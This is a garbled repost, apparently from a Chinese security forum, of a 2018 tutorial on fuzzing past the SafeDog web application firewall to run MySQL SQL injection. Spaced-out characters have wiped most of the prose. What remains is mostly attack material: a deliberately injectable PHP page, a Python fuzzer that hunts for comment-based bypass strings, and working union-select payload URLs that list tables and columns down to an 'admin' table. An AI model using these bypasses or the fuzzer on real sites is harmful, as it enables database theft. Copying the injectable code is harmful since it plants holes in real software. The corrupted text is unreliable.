[12340] 2018-02-09_Fuzz自动化Bypass软WAF姿势

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2018-02-09_Fuzz自动化Bypass软WAF姿势 F u z z B y p a s s W A F 姿 F K _ T   F r e e B u f   2 0 1 8 - 0 2 - 0 9 * F K _ T F r e e B u f 0 × 0 0   W A F , w a f , 使 使 S Q L W A F , S Q L W A F 使 使 P y t h o n F u z z W A F P a y l o a d   W A F , , F u z z 姿 0 x 0 1   访 : h t t p : / / w w w . s a f e d o g . c n / w e b s i t e _ s a f e d o g . h t m l w e b w i n d o w s A p a c h e w e b w i n d o w s   a p a c h e
使 p h p s t u d y ,
0 x 0 2 * * * * A p a c h e A p a c h e c o n f S a f e D o g S i t e A p a c h e F i l t e r . C o n f h t t p . c o n f I n c l u d e   d : / w a m p / a p a c h e 2 4 / c o n f / S a f e D o g S i t e A p a c h e F i l t e r . C o n f a p a c h e S Q L
m y s q l 0 x 0 3   m y s q l * * * * m y s q l 1 /   . .   / 2 # 3   % 2 0 S Q L M y S Q L 3 . 2 3   C     M y S Q L /   !   /   m y s q l S Q L , m y s q l O r d e r   b y   N O r d e r   b y   2 < ? p h p h e a d e r ( ' c o n t e n t - t y p e : t e x t / h t m l ; c h a s e t = u t f - 8 ' ) ; i n i _ s e t ( ' d i s p l a y _ e r r o r s ' , 0 ) ; $ m y s q l i   =   n e w   m y s q l i ( ' l o c a l h o s t ' ,   ' r o o t ' , ' r o o t ' , ' f k t ' ) ; $ s q l   =   " s e l e c t   *   f r o m   n e w   w h e r e   i d = " . $ _ G E T [ " i d " ] ; $ r e s u l t   =   $ m y s q l i - > q u e r y ( $ s q l ) ; i f ( $ r e s u l t   = = =   f a l s e ) { / /         e c h o   $ m y s q l i - > e r r o r ;         e c h o   $ m y s q l i - > e r r n o ; } e c h o   ' < h r > < t a b l e   b o r d e r = " 1 p x "   a l i g n = " c e n t e r " > ' ; e c h o   ' < t r > < t h > I D < / t h > < t h > a < / t h > < t h > f k t < / t h > < / t r > ' ; w h i l e ( $ r o w   =   $ r e s u l t - > f e t c h _ a s s o c ( ) ) {   e c h o   ' < t r > ' ;         e c h o   ' < t d > ' . $ r o w [ ' i d ' ] . ' < / t d > ' ;         e c h o   ' < t d > w a i t < / t d > ' ;         e c h o   ' < t d > ' . $ r o w [ ' c o n t e n t ' ] . ' < / t d > ' ;         e c h o   ' < / t r > ' ; } e c h o   ' < / t a b l e > ' ; $ m y s q l i - > c l o s e ( ) ; ? > m y s q l >   c r e a t e   d a t a b a s e   f k t ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0   s e c ) m y s q l >   u s e   f k t ; D a t a b a s e   c h a n g e d m y s q l >   C R E A T E   T A B L E   n e w (         - >           i d   i n t   n o t   n u l l ,         - >           c o n t e n t   c h a r ( 2 0 )         - >   ) ; Q u e r y   O K ,   0   r o w s   a f f e c t e d   ( 0 . 1 9   s e c ) m y s q l >   i n s e r t   i n t o   n e w         - >   v a l u e s (         - >   ' 1 ' , ' x i a o b a i ' ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 2   s e c ) S e l e c t   *   f r o m   n e w s   w h e r e   i d = 1 S e l e c t   *   f r o m   n e w s   / * ! w h e r e * / i d = 1 S e l e c t   *   f r o m   n e w   w h e r e   i d   = 1   o r d e r   b y   1 S e l e c t   *   f r o m   n e w   w h e r e   i d   = 1   o r d e r   b y   2
使 m y s q l S Q L * * s e l e c t   *   f r o m   n e w   w h e r e   i d = 1   u n i o n   a l l   s e l e c t   n u l l , n u l l ; s e l e c t   *   f r o m   n e w   w h e r e   i d = 1   a n d   1 = 2   u n i o n   a l l   s e l e c t   n u l l , n u l l ; s e l e c t   *   f r o m   n e w   w h e r e   i d = 1   a n d   1 = 2   u n i o n   a l l   s e l e c t   u s e r ( ) , n u l l ; m y s q l >   s e l e c t   *   f r o m   n e w   w h e r e   i d = 1   a n d   1 = 2   u n i o n   a l l   s e l e c t   / * ! u s e r * / / * ! ( ) * / , n u l l ;
* * F u z z B y p a s s u r l * * 0 x 0 4   F u z z b y p a s s * * , W A F 线 :   / ! u n i o n s e l e c t / F u z z h t t p : / / 1 9 2 . 1 6 8 . 3 0 . 1 2 9 / f u z z / i n d e x . p h p ? i d = 1 / * ! u n i o n * / / * ! s e l e c t * / 1 , 2
* * S Q L w a i t , w a i t   e l s e   p r i n t   c o d e k a l i   l i n u x w i n d o w s p i p p y t h o n 2 . 7 c c ,   F u z z I P # e n c o d i n g = u t f - 8 # # w a i t # 使 f o r i m p o r t   r e q u e s t s # u r l   =   " h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? i d = 1 " ; # F u z z _ a   =   [ ' / * ! ' , ' * / ' , ' / * * / ' , ' / ' , ' ? ' , ' ~ ' , ' ! ' , ' . ' , ' % ' , ' - ' , ' * ' , ' + ' , ' = ' ] F u z z _ b   =   [ ' ' ] F u z z _ c   =   [ ' % 0 a ' , ' % 0 b ' , ' % 0 c ' , ' % 0 d ' , ' % 0 e ' , ' % 0 f ' , ' % 0 h ' , ' % 0 i ' , ' % 0 j ' ] F U Z Z   =   F u z z _ a + F u z z _ b + F u z z _ c # f u z z h e a d e r   =   { ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 ;   r v : 5 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 5 . 0 ' } # h e a d e r s f o r   a   i n   F U Z Z :   p a s s   f o r   b   i n   F U Z Z :   p a s s   f o r   c   i n   F U Z Z :   f o r   d   i n   F U Z Z :   p a s s   f o r   e   i n   F U Z Z :   p a s s   P Y L O A D   =   " / * ! u n i o n " + a + b + c + d + e + " s e l e c t * /   1 , 2 "   u r l p   =   u r l + P Y L O A D   r e s   =   r e q u e s t s . g e t ( u r l p , h e a d e r s = h e a d e r )   # 使 f o r f u z z   i f   ' w a i t '   i n   r e s . t e x t :   p r i n t   ( " [ * ] U R L : " +   u r l p   + " " )   f = o p e n ( ' r e s u l t . t x t ' , ' a ' )   f . w r i t e ( u r l p + " n " )   f . c l o s e   # w a i t p a y l o a d
w i n d o w s , r e s u l t . t x t 姿 k a l i
便 姿 姿 h t t p : / / 1 9 2 . 1 6 8 . 3 0 . 1 2 9 / f u z z / i n d e x . p h p ? i d = 1 / * ! u n i o n / * ! / * ! * / / * ! s e l e c t / * ! / * ! * / 1 , 2 h t t p : / / 1 9 2 . 1 6 8 . 3 0 . 1 2 9 / f u z z / i n d e x . p h p ? i d = 1 / * ! u n i o n / * ! / * ! * / / * ! s e l e c t / * ! / * ! * / / * ! u s e r ( ) / * ! / * ! * / , 2
h t t p : / / 1 9 2 . 1 6 8 . 3 0 . 1 2 9 / f u z z / i n d e x . p h p ? i d = 1 / * ! u n i o n / * ! / * ! * / / * ! s e l e c t / * ! / * ! * / / * ! u s e r / * ! / * ! ( ) * / , 2 h t t p : / / 1 9 2 . 1 6 8 . 3 0 . 1 2 9 / f u z z / i n d e x . p h p ? i d = 1 / * ! u n i o n / * ! / * ! * / / * ! s e l e c t / * ! / * ! * / / * ! u s e r / * ! / * ! ( ) * / , / * ! d a t a b a s e / * ! ( ) * / h t t p : / / l o c a l h o s t / f u z z / i n d e x . p h p ? i d = 1 / * ! a n d / * ! / * ! * / / * ! 1 = 2 / * ! / * ! * / / * ! U N I O N / * ! / * ! * / / * ! A L L / * ! / * ! * / / * ! S E L E C T / * ! / * ! * / / * ! g r o u p _ c o n c a t ( t a b l e _ n a m e ) / * ! / * ! * / , N U L L / * ! f r o m / * ! / * ! * / / * ! i n f o r m a t i o n _ s c h e m a . t a b l e s / * ! / * ! * / / * ! w h e r e / * ! / * ! * / / * ! t a b l e _ s c h e m a = / * ! / * ! * / / * ! d a t a b a s e / * ! / * ! ( ) * / h t t p : / / l o c a l h o s t / f u z z / i n d e x . p h p ? i d = 1 / * ! a n d / * ! / * ! * / / * ! 1 = 2 / * ! / * ! * / / * ! U N I O N / * ! / * ! * / / * ! A L L / * ! / * ! * / / * ! S E L E C T / * ! / * ! * / / * ! g r o u p _ c o n c a t ( c o l u m n _ n a m e ) / * ! / * ! * / , N U L L / * ! f r o m / * ! / * ! * / / * ! i n f o r m a t i o n _ s c h e m a . c o l u m n s / * ! / * ! * / / * ! w h e r e / * ! / * ! * / / * ! t a b l e _ n a m e = / * ! / * ! * / / * ! " a d m i n " / * ! / * ! * /
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则